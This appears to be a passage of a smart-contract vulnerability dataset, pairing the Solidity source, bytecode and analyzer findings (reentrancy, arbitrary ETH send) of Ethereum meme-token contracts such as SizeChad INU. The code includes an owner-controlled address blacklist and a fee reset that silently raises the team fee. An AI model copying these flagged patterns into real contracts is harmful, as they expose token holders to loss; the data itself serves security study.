function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f8578063c3c8cd8014610318578063c9567bf91461032d578063d543dbeb14610342578063dd62ed3e1461036257600080fd5b8063715018a61461026c5780638da5cb5b1461028157806395d89b41146102a9578063a9059cbb146102d857600080fd5b8063273123b7116100dc578063273123b7146101d9578063313ce567146101fb5780635932ead1146102175780636fc3eaec1461023757806370a082311461024c57600080fd5b806306fdde0314610119578063095ea7b31461016357806318160ddd1461019357806323b872dd146101b957600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600f81526e496e75204d696c6c696f6e6169726560881b60208201525b60405161015a91906119f6565b60405180910390f35b34801561016f57600080fd5b5061018361017e366004611887565b6103a8565b604051901515815260200161015a565b34801561019f57600080fd5b50683635c9adc5dea000005b60405190815260200161015a565b3480156101c557600080fd5b506101836101d4366004611847565b6103bf565b3480156101e557600080fd5b506101f96101f43660046117d7565b610428565b005b34801561020757600080fd5b506040516009815260200161015a565b34801561022357600080fd5b506101f9610232366004611979565b61047c565b34801561024357600080fd5b506101f96104c4565b34801561025857600080fd5b506101ab6102673660046117d7565b6104f1565b34801561027857600080fd5b506101f9610513565b34801561028d57600080fd5b506000546040516001600160a01b03909116815260200161015a565b3480156102b557600080fd5b5060408051808201909152600681526512539553525360d21b602082015261014d565b3480156102e457600080fd5b506101836102f3366004611887565b610587565b34801561030457600080fd5b506101f96103133660046118b2565b610594565b34801561032457600080fd5b506101f9610638565b34801561033957600080fd5b506101f961066e565b34801561034e57600080fd5b506101f961035d3660046119b1565b610a32565b34801561036e57600080fd5b506101ab61037d36600461180f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b5338484610b05565b5060015b92915050565b60006103cc848484610c29565b61041e843361041985604051806060016040528060288152602001611bc7602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103b565b610b05565b5060019392505050565b6000546001600160a01b0316331461045b5760405162461bcd60e51b815260040161045290611a49565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a65760405162461bcd60e51b815260040161045290611a49565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e457600080fd5b476104ee81611075565b50565b6001600160a01b0381166000908152600260205260408120546103b9906110fa565b6000546001600160a01b0316331461053d5760405162461bcd60e51b815260040161045290611a49565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b5338484610c29565b6000546001600160a01b031633146105be5760405162461bcd60e51b815260040161045290611a49565b60005b8151811015610634576001600a60008484815181106105f057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062c81611b5c565b9150506105c1565b5050565b600c546001600160a01b0316336001600160a01b03161461065857600080fd5b6000610663306104f1565b90506104ee8161117e565b6000546001600160a01b031633146106985760405162461bcd60e51b815260040161045290611a49565b600f54600160a01b900460ff16156106f25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610452565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072f3082683635c9adc5dea00000610b05565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076857600080fd5b505afa15801561077c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a091906117f3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e857600080fd5b505afa1580156107fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082091906117f3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086857600080fd5b505af115801561087c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a091906117f3565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d0816104f1565b6000806108e56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094857600080fd5b505af115801561095c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098191906119c9565b5050600f8054683635c9adc5dea0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fa57600080fd5b505af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106349190611995565b6000546001600160a01b03163314610a5c5760405162461bcd60e51b815260040161045290611a49565b60008111610aac5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610452565b610aca6064610ac4683635c9adc5dea0000084611323565b906113a2565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610452565b6001600160a01b038216610bc85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610452565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610452565b6001600160a01b038216610cef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610452565b60008111610d515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610452565b6000546001600160a01b03848116911614801590610d7d57506000546001600160a01b03838116911614155b15610fde57600f54600160b81b900460ff1615610e64576001600160a01b0383163014801590610db657506001600160a01b0382163014155b8015610dd05750600e546001600160a01b03848116911614155b8015610dea5750600e546001600160a01b03838116911614155b15610e6457600e546001600160a01b0316336001600160a01b03161480610e245750600f546001600160a01b0316336001600160a01b0316145b610e645760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610452565b601054811115610e7357600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb557506001600160a01b0382166000908152600a602052604090205460ff16155b610ebe57600080fd5b600f546001600160a01b038481169116148015610ee95750600e546001600160a01b03838116911614155b8015610f0e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f235750600f54600160b81b900460ff165b15610f71576001600160a01b0382166000908152600b60205260409020544211610f4c57600080fd5b610f5742603c611aee565b6001600160a01b0383166000908152600b60205260409020555b6000610f7c306104f1565b600f54909150600160a81b900460ff16158015610fa75750600f546001600160a01b03858116911614155b8015610fbc5750600f54600160b01b900460ff165b15610fdc57610fca8161117e565b478015610fda57610fda47611075565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102057506001600160a01b03831660009081526005602052604090205460ff165b15611029575060005b611035848484846113e4565b50505050565b6000818484111561105f5760405162461bcd60e51b815260040161045291906119f6565b50600061106c8486611b45565b95945050505050565b600c546001600160a01b03166108fc61108f8360026113a2565b6040518115909202916000818181858888f193505050501580156110b7573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d28360026113a2565b6040518115909202916000818181858888f19350505050158015610634573d6000803e3d6000fd5b60006006548211156111615760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610452565b600061116b61140f565b905061117783826113a2565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122857600080fd5b505afa15801561123c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126091906117f3565b8160018151811061128157634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a79130911684610b05565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e0908590600090869030904290600401611a7e565b600060405180830381600087803b1580156112fa57600080fd5b505af115801561130e573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611332575060006103b9565b600061133e8385611b26565b90508261134b8583611b06565b146111775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610452565b600061117783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611432565b806113f1576113f1611460565b6113fc848484611483565b8061103557611035600160085560098055565b600080600061141c61157a565b909250905061142b82826113a2565b9250505090565b600081836114535760405162461bcd60e51b815260040161045291906119f6565b50600061106c8486611b06565b6008541580156114705750600954155b1561147757565b60006008819055600955565b600080600080600080611495876115bc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c79087611619565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f6908661165b565b6001600160a01b038916600090815260026020526040902055611518816116ba565b6115228483611704565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156791815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159682826113a2565b8210156115b357505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d98a600854600954611728565b92509250925060006115e961140f565b905060008060006115fc8e878787611777565b919e509c509a509598509396509194505050505091939550919395565b600061117783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103b565b6000806116688385611aee565b9050838110156111775760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610452565b60006116c461140f565b905060006116d28383611323565b306000908152600260205260409020549091506116ef908261165b565b30600090815260026020526040902055505050565b6006546117119083611619565b600655600754611721908261165b565b6007555050565b600080808061173c6064610ac48989611323565b9050600061174f6064610ac48a89611323565b90506000611767826117618b86611619565b90611619565b9992985090965090945050505050565b60008080806117868886611323565b905060006117948887611323565b905060006117a28888611323565b905060006117b4826117618686611619565b939b939a50919850919650505050505050565b80356117d281611ba3565b919050565b6000602082840312156117e8578081fd5b813561117781611ba3565b600060208284031215611804578081fd5b815161117781611ba3565b60008060408385031215611821578081fd5b823561182c81611ba3565b9150602083013561183c81611ba3565b809150509250929050565b60008060006060848603121561185b578081fd5b833561186681611ba3565b9250602084013561187681611ba3565b929592945050506040919091013590565b60008060408385031215611899578182fd5b82356118a481611ba3565b946020939093013593505050565b600060208083850312156118c4578182fd5b823567ffffffffffffffff808211156118db578384fd5b818501915085601f8301126118ee578384fd5b81358181111561190057611900611b8d565b8060051b604051601f19603f8301168101818110858211171561192557611925611b8d565b604052828152858101935084860182860187018a1015611943578788fd5b8795505b8386101561196c57611958816117c7565b855260019590950194938601938601611947565b5098975050505050505050565b60006020828403121561198a578081fd5b813561117781611bb8565b6000602082840312156119a6578081fd5b815161117781611bb8565b6000602082840312156119c2578081fd5b5035919050565b6000806000606084860312156119dd578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2257858101830151858201604001528201611a06565b81811115611a335783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611acd5784516001600160a01b031683529383019391830191600101611aa8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0157611b01611b77565b500190565b600082611b2157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4057611b40611b77565b500290565b600082821015611b5757611b57611b77565b500390565b6000600019821415611b7057611b70611b77565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ee57600080fd5b80151581146104ee57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220589148a0e295ef316b86aecc7108c542f86a07eddf4130239d59de737a4698ee64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,116 |
0x0872d26767ac6185b79e40df77f22b2920080332 | /**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
//SizeChad INU
//Limit Buy
//Cooldown
//Bot Protect
//Liqudity dev provides and lock
//TG: https://t.me/SizeChadInu
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SIZECHAD is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SizeChad INU";
string private constant _symbol = "SizeChadINU";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600c81526020017f53697a654368616420494e550000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f53697a6543686164494e55000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a00000000000000000000000000000